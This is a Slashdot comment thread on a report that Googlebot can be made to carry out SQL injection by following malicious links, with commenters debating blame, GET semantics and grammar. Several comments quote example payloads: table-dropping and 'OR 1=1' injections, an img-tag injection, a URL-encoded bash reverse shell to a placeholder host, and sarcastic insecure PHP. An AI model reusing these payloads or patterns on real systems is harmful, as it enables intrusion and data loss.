Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Google Bots Doing SQL Injection Attacks

Soulskill posted about a year ago | from the it's-not-a-bug,-it's-a-feature dept.

Google 156

ccguy writes "It seems that while Google could really care less about your site and has no real interest in hacking you, their automated bots can be used to do the heavy lifting for an attacker. In this scenario, the bot was crawling Site A. Site A had a number of links embedded that had the SQLi requests to the target site, Site B. Google Bot then went about its business crawling pages and following links like a good boy, and in the process followed the links on Site A to Site B, and began to inadvertently attack Site B."

Sorry! There are no comments related to the filter you selected.

promo4promo (1)

themushroom (197365) | about a year ago | (#45341267)

Doing a good deed for your competition by linking them from your site, hmm? :)

How about Yahoo "bots", Bing "bots" ? (5, Insightful)

Anonymous Coward | about a year ago | (#45341301)

TFA seems to place all the faults on Google.

Fact is, Google is not the only one who is crawling the Net. Yahoo does it as well as Bing, among others.

If the Google "bots" can be tricked into doing the "heavy lifting", so can the Yahoo "bots", Bing "bots", and "bots" from other search engines.

Re:How about Yahoo "bots", Bing "bots" ? (5, Insightful)

_Sharp'r_ (649297) | about a year ago | (#45341321)

Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

Next you'll be suggesting that you could do that transparently to the user and have their browser re-use their already logged in session on another site to do things with their credentials for you!!!!

What will they think of next? It's a good thing we have these wonderful stories to explain how this whole web thingy works with all it's links and stuff...

Re:How about Yahoo "bots", Bing "bots" ? (3, Informative)

icebike (68054) | about a year ago | (#45341627)

Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

Real people don't have to click that link. Their computers and devices have web browsers that follow links ahead of time to
improve browsing experience. Chrome calls this "Predict network actions to improve page load performance".

But such hits would come from a wide variety of IPs, not from Google.

Re:How about Yahoo "bots", Bing "bots" ? (4, Informative)

Anonymous Coward | about a year ago | (#45341943)

No need to use links, either.

Good old <img src="http://your.site.is/dumb?and=has+sql+injection%22;drop table users;--"/> would work just by visiting the site, as would an iframe, whether browser tries to be smart or not.

Re:How about Yahoo "bots", Bing "bots" ? (1)

mysidia (191772) | about a year ago | (#45341925)

Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

Why not just include an iframe, and have an onload javascript of the parent page navigate the iframe to various links?

Re:How about Yahoo "bots", Bing "bots" ? (1)

Anonymous Coward | about a year ago | (#45342823)

I scrolled a couple of pages down, but didn't see any SQL injection attack links. WHAT IS WRONG WITH YOU SLASHDOT?!

Re:How about Yahoo "bots", Bing "bots" ? (4, Informative)

aztracker1 (702135) | about a year ago | (#45341439)

What's funny is bing has bots that will actually execute and follow through JavaScript requests... last year, I worked to refactor our link structure (normalizing, and reducing variance), this caused a reindex of the site (about 50k urls), however Bing bots went nuts, and because they executed JS, this really affected our unique visitors on our Google Analytics (they don't actually filter bots). It looked like our unique visitors went up by 40% (all from 3 locations, all Microsoft), while our pages per visit plummeted. Bots are necessary, but can be dangerous if you don't account for them.

Re:How about Yahoo "bots", Bing "bots" ? (-1, Troll)

Anonymous Coward | about a year ago | (#45341975)

You don't disallow Bing bots from your robots.txt? I have yet to work at a place that doesn't. It's a well known fact that anything Google indexes, Bing will copy shortly after, so you don't need the extra useless traffic to let another crawler do things EXTREMELY poorly (as evidenced by OP).

Re:How about Yahoo "bots", Bing "bots" ? (1, Funny)

Kalriath (849904) | about a year ago | (#45342291)

You must work for some really shit firms, cause it's a well know fact that what you're saying is bullshit.

Re:How about Yahoo "bots", Bing "bots" ? (-1)

Anonymous Coward | about a year ago | (#45342755)

I guess you've never been DoS'd by Bing then...

Fuck Bing.

Re:How about Yahoo "bots", Bing "bots" ? (0)

ktappe (747125) | about a year ago | (#45342827)

Nobody has ever been "DDOS'ed" by Bing. A DDOS is, by definition, a deliberate attempt to knock a site off the net. Bing is just doing business, not attacking. I don't defend Microsoft but let's make sure we use terminology properly.

Re:How about Yahoo "bots", Bing "bots" ? (0, Insightful)

Anonymous Coward | about a year ago | (#45343147)

A DDOS is, by definition, a deliberate attempt to knock a site off the net.

Do readup on that definition please ...

Something like a single botched update (causing clients to connect to the mothership) could cause the same effect. Heck, even the downloading of the newest Windows 8.1 operating system did cause problems -- very slow connections -- that could be considered a "denial of service". Online games on their release-dates often have the same problem. Another cause could be an "email storm" involving multiple clients.

Nope, the definition of DDOS does not involve deliberation(/intention) at all.

So, please do what you advocate yourself, and use your terminology correctly. ... And that goes double, as your parent was talking about DOS, not DDOS.

Re:How about Yahoo "bots", Bing "bots" ? (1)

someone1234 (830754) | about a year ago | (#45343149)

A DDOS is by definition a distributed denial of service. If it was a deliberate attempt, it would be DDDOS.
I don't attack Microsoft but let's make sure we use terminology properly.
It wouldn't be a DDOS for a different reason: a Bing bot would not qualify as distributed.

Re:How about Yahoo "bots", Bing "bots" ? (0)

Anonymous Coward | about a year ago | (#45343613)

Bots are necessary, but can be dangerous if you don't account for them.

Well, yes [imdb.com] .
But to say they're dangerous because their visits influence reports of visitors in completely obvious ways which can easily be filtered out... I fail to see the Robot Apocalypse in that one.

Re:How about Yahoo "bots", Bing "bots" ? (-1, Redundant)

icebike (68054) | about a year ago | (#45341611)

TFA seems to place all the faults on Google.

Fact is, Google is not the only one who is crawling the Net. Yahoo does it as well as Bing, among others.

If the Google "bots" can be tricked into doing the "heavy lifting", so can the Yahoo "bots", Bing "bots", and "bots" from other search engines.

Lets not use the excuse that others have crawlers as well as Google, m'kay?

If you are going to crawl web pages, and follow links, you probably should check for cross-site scripting attacks in the links you crawl.
One could make the case you just shouldn't follow such links (embeded sql), at all, but at the least they should be defanged so to speak.

This isn't the first time Crawlers have caused problems, and because of this, they are pretty much all now rate limited. Because they are rate limited, they impose virtually ZERO load. Any large influx of bot hits are a sign you aren't dealing with any of the big 5 crawlers.

And its not the first time things pretending to be a crawler have been used to attack a site.
Google honors Robots.txt, so if the attack stops after placing robots.txt in all the relevant directories then it wasn't Google.

Re:How about Yahoo "bots", Bing "bots" ? (0)

Anonymous Coward | about a year ago | (#45341707)

...m'kay?

Stopped reading right there. M'kay?

Re:How about Yahoo "bots", Bing "bots" ? (1)

Anonymous Coward | about a year ago | (#45342767)

Lets see - they impose ZERO load?

Heres an example of a major one that doesn't.

Bing doesn't rate limit.
Bing doesn't obey robots.txt

http://www.computersolutions.cn/blog/2012/05/msn-bing-crawler-spider-madness/

They still pull the same shit even now, so fuck bing.

Re:How about Yahoo "bots", Bing "bots" ? (0)

Anonymous Coward | about a year ago | (#45341687)

Google isn't the only one crawling the net, but its crawls are at least an order of magnitude more thorough than any of its competitors.

A bot that visits once a month won't be doing much heavy lifting.

could not care less (5, Informative)

Anonymous Coward | about a year ago | (#45341269)

not just "could care less". Sheeesh.

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45341303)

Google actually could conceivably care far less than it does.

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45341607)

Yes, Parent is correct, Grandparent is technically incorrectly assuming that Google can't possibly care less than they do now.
Oh, trust me, Google could care far far less for the security implications of this. There are likely a limited amount of safeguards in place to prevent this getting out of hand.

I remember actually thinking about something like this before as to whether it would be possible, and more so with the use of iframes to create a circular cache on Google servers.
Never did experiment with it, got bored since the applications were limited and unpredictable before I even started on it due to the way caching was and still is handled.

Re:could not care less (5, Funny)

Anonymous Coward | about a year ago | (#45341425)

Means the same thing irregardless.

Re:could not care less (1)

Anonymous Coward | about a year ago | (#45341511)

Means the same thing irregardless.

I see what you did there.

Re:could not care less (1)

Anonymous Coward | about a year ago | (#45341613)

Means the same thing irregardless.

Do you mean literally the same, or actually the same?

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45341797)

A pet hate of mine too. Writing something which is the opposite of what you mean is rather silly.

Re:could not care less (0)

JanneM (7445) | about a year ago | (#45341991)

Wouldn't be at all surprised if they do care just a little bit. making the orginal correct and your's not.

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45342243)

Actually, since they are there already, crawling it, they really could care less. They could not be there at all, but no. They do care, and are crawling.

So it was correct to say they could care less.

Re:could not care less (2)

stealth_finger (1809752) | about a year ago | (#45343401)

Actually, since they are there already, crawling it, they really could care less. They could not be there at all, but no. They do care, and are crawling.

So it was correct to say they could care less.

Well, the quote says 'could care less about your site'. I doubt google care one iota about most individual sites in isolation. They care a great deal about the web in general to be sure, but if they cared about your site, they'd send a person to look at it rather than an automated crawler.

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45343409)

While strictly and factually correct, it is a redundant observation. The "point" of TFA is basically "Look - Google aren't bothered about your site...". Consequently, "could *not* care less" emphasises this angle on the story (even if it is a miniscule exaggeration).

To observe that "they're doing something about your site because they are crawling, so in reality they could care even less than they already do" (aka "Could care less") summarises the exact opposite of what TFA is trying to say.

Many americans try to argue that "their" version of this idiom is correct but every time they use it, it invariably misses the point.

Re:could not care less (4, Interesting)

sootman (158191) | about a year ago | (#45342363)

It's probably laziness, but it could also be a shortened version of "I could care less, but I'd have to try."

"Sure as hell" and "sure as shit" have no meaning either, right? How sure is hell, or shit? Those are shortened versions of "as sure as hell is hot" and "as sure as shit stinks". Language happens.

I'm more concerned with errors on non-idiomatic speech, like "should of" and "could of" instead of "should have" and "could have", "try and" instead of "try to", and #1 on my list, "literally" meaning "figuratively".

After we sort that out, we can come to an agreement on split infinitives, the Harvard comma, and people whether punctuation that isn't part of a quote should be inside quotation marks or out. :-)

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45342451)

Those are shortened versions of "as sure as hell is hot" and "as sure as shit stinks".

Or those just are to the fact most curse words can be used as an intensifier (e.g. as hell). Because then you end up with as sure as fuck, or as sure as anything, etc., or even with different adjectives like as big as hell or as cold as hell.

Re: could not care less (0)

Anonymous Coward | about a year ago | (#45342629)

Cold as Hell⦠Because Hell is a great place to find chilly weather with all that fire and brimstone and boiling whatnot everywhere.

Re: could not care less (0)

Anonymous Coward | about a year ago | (#45342741)

Sure [google.com] , why not? [wikipedia.org]

Re:could not care less (2)

Neil Boekend (1854906) | about a year ago | (#45343135)

It becomes a problem when the literal meaning is the exact reverse of the intended meaning. "Sure as hell" does not have another meaning. For natives that is no problem. Non natives have more trouble with this and I am sure I don't need to remind you that most people do not have English as their mother language.

In a similar case I actually had a supplier put a line on a quote that translates to: "all products are available from stock if another date is mentioned in the line". What they meant was: "all products are available from stock unless another date is mentioned in the line".

Re:could not care less (3, Informative)

GodGell (897123) | about a year ago | (#45343241)

I'm more concerned with errors on non-idiomatic speech, like "should of" and "could of" instead of "should have" and "could have"

THIS, a thousand times this!
I'm not much of a grammar nazi, as I view communication to be the primarry purpose of text and not syntax... but "should of" actively takes chunks out of my brain every time I read it. It honestly makes me feel like I'm trying to talk to a retard, it just makes so little sense.

The worst part is, while currently it's almost exclusively native English speakers who make this mistake (which is pretty odd), soon enough people like me who learnt by practice are going to start using it en masse, and then it'll be here to stay (like "could care less" - another one perpetuated by native speakers, btw).

Re:could not care less (1)

Paradise Pete (33184) | about a year ago | (#45343981)

What about "try and do something" instead of try to? Seems to me try and is as common as should of.

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45343351)

Nobody is actually saying "should of" or "could of." That is just how contractions are pronounced. Sorry we don't pronounce apostrophes for you. Should've, could've tried and saw it from another point of view as sure as hell I tell you hwAt.

Re:could not care less (0)

Anonymous Coward | about a year ago | (#45343967)

It's the sarcastic form. It's equivalent. Get over it.

Uhh... (5, Insightful)

Anonymous Coward | about a year ago | (#45341273)

If you have http GET requests going (effectively) straight into your database, that's YOUR problem, not Google's.

Re:Uhh... (3, Informative)

Anonymous Coward | about a year ago | (#45341449)

I whole heartedly agree. Database programming 101: you cannot trust any inputs (user or otherwise). You must assume that any input is malicious and sanitize it as such. Maybe the devs that are researching/complaining about this should consider the target as the problem not the 12,000 different ways to input malicious code.

Re:Uhh... (1)

Salgat (1098063) | about a year ago | (#45341467)

You still have to assume we're in a non-ideal world, which is very much true. Suppose there is a way to mitigate this issue on Google's end, is there something wrong with taking action to reduce the amount of attacks, even if the website is at fault?

Re:Uhh... (2, Insightful)

Anonymous Coward | about a year ago | (#45341635)

Suppose there is a way to mitigate this issue on Google's end, is there something wrong with taking action to reduce the amount of attacks, even if the website is at fault?

Yes, there is something "wrong"- Google has no idea what is or is not a "malformed" request. You're basically asking Google to sanitize the database input, which is generally not possible if you don't know anything about what the database should or should not accept. adding something along the lines of 'user=root' or 'page=somekindofdata' to a query may be perfectly legitimate for one site, and a massive problem for a different one.

Re:Uhh... (1)

Anonymous Coward | about a year ago | (#45343931)

You must assume that any input is malicious and sanitize it as such.

Not even that. For many text field, e.g. the Slashdot comment field, SQL statements can be a completely valid input. I coult be explaining to someone how to solve a problem in SQL, or I could be re-posting a "Little Bobby Tables" joke. All very valid, nothing malicious.

Seeing SQL input (or Javascript, same problem) as malicious results in people writing filters that prevent posting answers to SQL (or Javascript) related questions. Seeing it as valid input that needs to be stored correctly in the database and later shown correctly, leads to code that works as the user would expect.

Re:Uhh... (0)

sexconker (1179573) | about a year ago | (#45341453)

If you have http GET requests going (effectively) straight into your database, that's YOUR problem, not Google's.

Uh, if you serve up any sort of data-backed page that uses shit from the URL to do something, that's "going (effectively) straight into your database".
http://stocksite.com/charts.lol?symbol=GOOG&range=30 [stocksite.com]

Not parameterizing your inputs is "YOUR problem", sure, but having an (effectively) openly-accessible database is not some fucking taboo.

Re:Uhh... (1)

cheater512 (783349) | about a year ago | (#45341899)

The keyword there was "effectively straight".
There is nothing wrong with having params like that. As long as you escape them properly and have input validation.

"Effectively straight" in this case means this would work: http://stocksite.com/charts.lol?symbol=GOOG&range=30 [stocksite.com] ; DROP TABLE stocks --
Which is a taboo.

Re:Uhh... (4, Informative)

smellotron (1039250) | about a year ago | (#45342725)

As long as you escape them properly

Friends don't let friends generate dynamic SQL. Please use prepared statements!

Re:Uhh... (0)

Anonymous Coward | about a year ago | (#45341727)

If you have http GET requests going (effectively) straight into your database, that's YOUR problem, not Google's.

Exakery!! :) If your public facing site has SQLi holes then fix them!!

Re:Uhh... (0)

Anonymous Coward | about a year ago | (#45343265)

I once put an SQL statement inside a hidden tag, thinking that it's safe from user modification there. Ouch :(
It was the Web Developer extension for Firefox that "shown me the light"

How is that news? (2)

d33tah (2722297) | about a year ago | (#45341277)

How is that news? Zalewski wrote a book on that years ago ("Silence on the wire")

Re:How is that news? (0)

Anonymous Coward | about a year ago | (#45341435)

wrote a book on

tl;dr

HTTP RFC - Section 9.1 Safe and Idempotent Methods (4, Informative)

ChaseTec (447725) | about a year ago | (#45341305)

In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe".

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (5, Funny)

Anonymous Coward | about a year ago | (#45341315)

This is Slashdot. What do we know about GET HEAD methods?

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (4, Interesting)

ChaseTec (447725) | about a year ago | (#45341363)

This is Slashdot. What do we know about GET HEAD methods?

I was going to say that they return Futurama quotes but then I checked and they are gone. When did that happen?

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (0)

Jah-Wren Ryel (80510) | about a year ago | (#45341471)

I was going to say that they return Futurama quotes but then I checked and they are gone. When did that happen?

When the devs starting getting real head?

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

Zapotek (1032314) | about a year ago | (#45341353)

That doesn't really have much to do with anything, a lot of DB connection/query libraries allow stacked queries to be performed (i.e. more than one queries, separated by ';') so by appending your own SQL query (say, a DELETE one) via a vulnerable input you can still do plenty of damage, even via a GET method.

TFA isn't newsworthy in my opinion, this has been known for a while now.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

postbigbang (761081) | about a year ago | (#45341459)

The problem with this line of thinking is that spiders are only supposed to crawl links. If you use a live link without authentication, shame on you. If you use a query to a db for something like a parts catalog that's capable of r/w, then shame on you. If you tether your logic through a pipe, the pipe needs parser constraints on the query.

Blaming Google or any other crawler-spider-bot, despite my other distain for Google, is pointing the finger at the wrong culprit. Everyone wants sub-second response times, but if you don't parse, you're a target for all sorts of injection goodies.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

Zapotek (1032314) | about a year ago | (#45341699)

I'm not sure to which line of thinking you're referring, both myself and the GP just posted a technical remark each. Also (to my great joy and surprise) no-one is blaming Google (at least not yet) and rightly so.

As for the back-end countermeasures you described, you are of course spot on, however it's safe to assume that if you're vulnerable to something as trivial and mundane as SQL injection, you won't have the required foresight to setup and use different DB roles, each with the absolutely least privs for the queries you expect to perform through them.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (1)

postbigbang (761081) | about a year ago | (#45341755)

Yes, we agree; it's the problem with blaming Google, and affirmation of the sillyness. In my mind, which didn't get presented, and I apologize, is that query code has become awful, let-me-count-the-ways.

Further, when I'm forced, to, looking at page code makes me reel with revelation of the mindset of cut-and-paste APIs glued with mucilage (if it's that good). Everyone else now is to blame, not the moshpit of ducttaped code. Sorry, bad rant on a bad day.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

viperidaenz (2515578) | about a year ago | (#45341927)

If you want more performance, you should be using prepared statements and statement caching, not string concatenation to construct your queries.
Then you don't need to waste CPU time and memory escaping input data.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (1)

mysidia (191772) | about a year ago | (#45342003)

so by appending your own SQL query (say, a DELETE one) via a vulnerable input you can still do plenty of damage, even via a GET method.

That would be a bug in the application.

The HTTP spec doesn't let you say what could happen if there's a bug in the application. It could be designed so that all GETs are idempotent operations, but due to a bug they are not.

For all I know; if there's a bug in the application adding ?X=FOOBAR&do=%2Fbin%2Fbash%20-i%20%3E%2Fdev%2Ftcp%2Fwww.example.com%2F80%200%3C%261%202%3E%261 to the get string will drop me a shell; which is decidedly non-idempotent.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (1)

Zapotek (1032314) | about a year ago | (#45342027)

I'd say that since half of the subject of this discussion is about SQL injection, the webapps in question are axiomatically buggy.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

d33tah (2722297) | about a year ago | (#45341361)

The trick is that retrieval can be dangerous by itself if you're using the database and forgot to sanitize your SQL. Being a moron can't be solved by an RFC.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (1)

iONiUM (530420) | about a year ago | (#45341365)

Agreed 100%. This article is blaming Google for admins who had bad site design. Doing a GET should not have done this; it's their fault for embedding bad links in their HTML that is exposed to a crawler.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

viperidaenz (2515578) | about a year ago | (#45341941)

It's not the admins of the sites embedding the links that are the problem. They're they attackers. The fault lies with the admins of the sites the links point to.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (2)

hawguy (1600213) | about a year ago | (#45341383)

In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe".

That's the funny thing about SQL injection attacks - it can turn a SELECT into a DELETE or UPDATE. So you may have *meant* your GET request to be a simple retrieval, but a successful attack could make it do so much more.

Which is a great segue to the obligatory xkcd comic!

http://xkcd.com/327/ [xkcd.com]

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (0)

Anonymous Coward | about a year ago | (#45341877)

That's the funny thing about programming -- you can enforce good behavior and block bad behavior.

s/['";-()&|*]/\\\1/g

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (0)

Anonymous Coward | about a year ago | (#45343235)

That's the funny thing about SQL injection attacks - it can turn a SELECT into a DELETE or UPDATE. So you may have *meant* your GET request to be a simple retrieval, but a successful attack could make it do so much more.

And you know what's the the funny thing about databases? It's that you can create users with read only access, if you really need those GET requests. Not sure if that's the best design (even a SELECT statement can reveal stuff that are not meant to be shown to the end user), but it sure leaves you with one less potential security hole to worry about.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (0)

Anonymous Coward | about a year ago | (#45341393)

Well that's nice idea but literally every dynamic site ever breaks this convention, including the one you're using right now.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (1)

viperidaenz (2515578) | about a year ago | (#45341957)

Does it? The ajax requests slashdot uses make POST requests, not GET.

Anything handling a GET request shouldn't be using a database connection with delete, insert or update grants.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (0)

Anonymous Coward | about a year ago | (#45342173)

But how would advertisers and the NSA track you then? ;)

Seriously though, are you saying that if you read some webmail with a "GET" the webmail app shouldn't mark the mail as read? Or that you'll have to add some AJAX to do mark it as read via POST requests?

There are very many different types of legitimate webapps in the world, as such it is really silly to think a GET request shouldn't do delete, insert or update.

Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth (0)

Anonymous Coward | about a year ago | (#45342329)

This example is complete nonsense. Idempotence is the property of having the same result whether done once or any number of times. So, an email message being marked read if any GETs have been made is exactly the type of change that should be expected to occur as the result of a GET.

Definition's still too broad (0)

Anonymous Coward | about a year ago | (#45342429)

If there's a GET request that succesfully executes DROP DATABASE, it will have same "Error: can't connect to database" result on user's end and all data deleted on server's end however many times you call it. Idempotence!

"could care less" (-1)

Anonymous Coward | about a year ago | (#45341375)

Stupid 'merkin.

How would you know if it worked? (1)

SigNuZX728 (635311) | about a year ago | (#45341437)

In the scenario listed, if you were the hacker trying to cover his tracks, how would you ever know if the attack was successful or not?

Re:How would you know if it worked? (1)

Fwipp (1473271) | about a year ago | (#45341485)

If your rival's site suddenly had a 99% sale on all products. :)

Re:How would you know if it worked? (1)

gl4ss (559668) | about a year ago | (#45342401)

the site goes down. you can then guess it worked.
or a port opens at the target host, whatever the attack did.

as for using it for DOS, the target site doesn't even need to be faulty.

Skype too (5, Interesting)

gmuslera (3436) | about a year ago | (#45341463)

If Microsoft follows links shown in "private" skype conversations [slashdot.org] (and probably several NSA programs too) they could be used to attack sites this way. Could be pretty ironic to have government sites with their DBs wiped from a SQL attack coming from an NSA server.

Heard this before (1)

Whatsisname (891214) | about a year ago | (#45341633)

I vaguely recall an article years ago on something like TheDailyWtf where some idiot webmaster wrote a web application with links instead of buttons to perform tasks, and was confused why his site and data was getting trashed repeatedly, until he figured out it was the crawling bots.

This is nothing new: unskilled developers using the wrong methods and getting burned.

Re:Heard this before (1)

PRMan (959735) | about a year ago | (#45343659)

And there was a DailyWTF article where he couldn't publish because you could literally put people on a state's Megan's Law sex offender database list by changing the query used on the site.

Lies, Damn Lies! (1)

Gravis Zero (934156) | about a year ago | (#45341697)

What is going on?
It seems that while Google could really care less about your site and has no real interest in hacking you, their automated bots can be used to do the heavy lifting for an attacker.

no, what's really happening is someone posted an injection url on a forum somewhere and googlebot ran across it. come on, google bot hasn't become sentient or som-SORRY THIS POST WAS A MISTAKE DISREGARD ALL INFORMATION.

reminds me of someone from irc... (2)

AndroSyn (89960) | about a year ago | (#45341765)

This guy(who I won't name, you know who you are), was once writing some PHP code for some webapp. Well in app, he had some delete links and he hadn't finished the authentication code apparently, so googlebot crawled is site, followed all of the delete links and completely wiped out his database.

Of course, you can keep googlebot away from your crappy code with robots.txt too...

Re:reminds me of someone from irc... (0)

Anonymous Coward | about a year ago | (#45341971)

Or not using GET for things that take actions...

Read RFC 2616: Safe and Idempotent Methods .. (2)

codeusirae (3036835) | about a year ago | (#45341867)

'Someone failed at the most basic level here and it wasn't Google. From RFC 2616 (HTTP) Section 9.1 Safe and Idempotent Methods - "In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe"."`, Matthieu Heimer

Re:Read RFC 2616: Safe and Idempotent Methods .. (1)

Qzukk (229616) | about a year ago | (#45341937)

I don't get it. What's unsafe about "select * from catalog where id=".$_GET["id"]?

Re:Read RFC 2616: Safe and Idempotent Methods .. (1)

Bengie (1121981) | about a year ago | (#45342121)

Separate your commands from your inputs. The query sent to the DB should never change, only the parameters; and the parameter values should never be part of the query.

Re:Read RFC 2616: Safe and Idempotent Methods .. (2)

dkleinsc (563838) | about a year ago | (#45342157)

I can't tell if you're serious, so I'm going to act like you are in case you or some other reader doesn't understand the problem:
In the URL that you'd be using to hit that page, change the "id=42" or whatever you have there to "id=0 OR 1=1". Poof, your page is now reading the entire catalog in rather than the single record you wanted to. Hit that fast enough, and if that catalog is large enough, and the bad guy may have just brought your nice database server to a screaming halt as it loads up 300 million records multiple times every second.

Or, if you're really not careful, a black-hat can use that to start pulling out whatever they want out of your database: usernames, passwords (hashed, but bad guy can crack 1-way hashes relatively quickly if it's useful to do so)

Re:Read RFC 2616: Safe and Idempotent Methods .. (1, Funny)

mysidia (191772) | about a year ago | (#45342425)

I don't get it. What's unsafe about "select * from catalog where id=".$_GET["id"]?

Dude... you forgot to encrypt your databases.... it should be

$catalogname = str_rot13('catalog'); $idname = str_rot13('id');

$id = str_replace(';', '', $id, ); ... "select * from $catalogname where $idname=".$id

Make sure to insist that register_globals is set to On in the PHP settings for the web server.

Re:Read RFC 2616: Safe and Idempotent Methods .. (1)

scdeimos (632778) | about a year ago | (#45343851)

Assuming you're actually serious, what happens when your page is requested with: ?id=0;%20drop%20table%20catalog;

Suddenly your query gets transformed to: select * from catalog where id=0; drop table catalog;

Did anybody read TFA? (4, Interesting)

ghn (2469034) | about a year ago | (#45341891)

The point is not that you can attack lousy website using GET requests. The idea is that HTTP firewalls shoud not blatlantly white-list google bots and other website crawlers in the sake of SEO optimization, because google bot will follow malicious links from other website..

So lets say you have a filter with rules that prevent common SQL injections in GET requests parameters, this is a weak security practice but can be useful to mitigate some 0-day attacks on vulnerable scripts. This protection can be by-passed IF you white-listed google bot.

You're holding it wrong (1)

Anonymous Coward | about a year ago | (#45343133)

If you think you need "a filter with rules that prevent common SQL injections in GET requests parameters", then you're doing something wrong.

I know, I know -- protection in depth and all that. But some things are just too fucking ugly to even think of them. Ugh

Really? (1)

msobkow (48369) | about a year ago | (#45342097)

So if you litter a page with malicious links, the attacks will look like they're coming from Google's servers.

That's kind of cool, actually.

I'd laugh my head off if Google were subsequently flagged as a malicious site. I *hate* bots.

FAG 6204 bearings purchase (-1)

Anonymous Coward | about a year ago | (#45342141)

I agree with the author's opinion very much, but I also have some of your more thinking. The so-called one hundred readers have one hundred Hamlet, different people are thinking together, will be more close to the most accurate answer. As a professional bearing businessman, I care about information of FAG 6204 bearings purchasehttp://www.fagbearings-hk.com/product/FAG-6204-bearings-1703.htmlhave made me feel tired, read more articles like this or point of view, made me benefit a lot.

I had that happen to me once. (2, Interesting)

sootman (158191) | about a year ago | (#45342419)

When I first started doing web apps, I made a basic demo of a contacts app and used links for the add, edit, and delete functions. One day I noticed all the data was gone. I figured someone had deleted it all for fun so I went in to restore from a backup and decided to look at the logs and see who it was. It was googlebot -- it had come walking through, dutifully clicking on every "delete" and "are you sure?" link until the content was gone.

(I knew about when to use GET versus POST -- it was just easier to show what was happening when you could mouse over the links and see the actions.)

technology (0)

alienzed (732782) | about a year ago | (#45342535)

is awesome.

The core of the matter. (1)

ttucker (2884057) | about a year ago | (#45342889)

Someone wrote a terrible web app, it could be attacked with simple GET requests. Someone else made those requests, but it was still a terrible web app. Nobody cares.

Poor websites (1)

Stonent1 (594886) | about a year ago | (#45342907)

You'd have thought they learned their lesson when dealing with Bobby Tables, aka "Robert'); DROP TABLE Students;

Old news is stupid news (0)

Anonymous Coward | about a year ago | (#45343065)

This attack was described by Michal Zalewsky in Phrack 57 "Against the System: Rise of the Robots".
http://www.phrack.org/issues.html?issue=57&id=13#article
Release date? 2001.
Please don't spill your regurgitated news on my shoes.

Don't blame Google (1)

joni2back (2865117) | about a year ago | (#45343863)

In several cases, the SQLi target was posted in a hacking forum, blog or exploit site, then Google bots perform a request to the link and indexes it (title, content).
Load More Comments
Slashdot Login

Need an Account?

Forgot your password?